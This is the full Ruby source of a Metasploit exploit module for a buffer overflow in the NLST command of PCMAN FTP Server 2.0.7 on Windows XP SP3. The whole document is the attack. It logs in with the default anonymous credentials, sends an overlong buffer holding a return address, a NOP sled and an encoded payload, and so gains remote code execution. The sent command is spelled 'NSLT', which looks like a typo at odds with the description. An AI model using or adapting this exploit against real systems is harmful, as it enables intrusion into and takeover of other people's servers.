PCMAN FTP Server 2.0.7 NLST Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PCMAN FTP Server Buffer Overflow - NLST Command',  
'Description' => %q{  
This module exploits a buffer overflow vulnerability found in the NLST command of the  
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous  
credientials are enabled.  
},  
'Author' =>  
[  
'Karri93', # Initial Discovery -- https://www.exploit-db.com/exploits/40712/  
'Ye Yint Min Thu Htut' # msf Module -- @yeyint_mth @yehg  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', ''],  
[ 'OSVDB', '']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0A\x0D",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 English',  
{  
'Ret' => 0x77f11d2f, # GDI32.dll  
'Offset' => 2007  
}  
],  
],  
'DisclosureDate' => 'Nov 04 2016',  
'DefaultTarget' => 0))  
end  
  
def check  
connect_login  
disconnect  
  
if /220 PCMan's FTP Server 2\.0/ === banner  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
  
def exploit  
connect_login  
  
print_status('Creating payload...')  
sploit = rand_text_alpha(target['Offset'])  
sploit << [target.ret].pack('V')  
sploit << make_nops(30)  
sploit << payload.encoded  
  
send_cmd( ["NSLT", sploit], false )  
disconnect  
end  
  
end  
`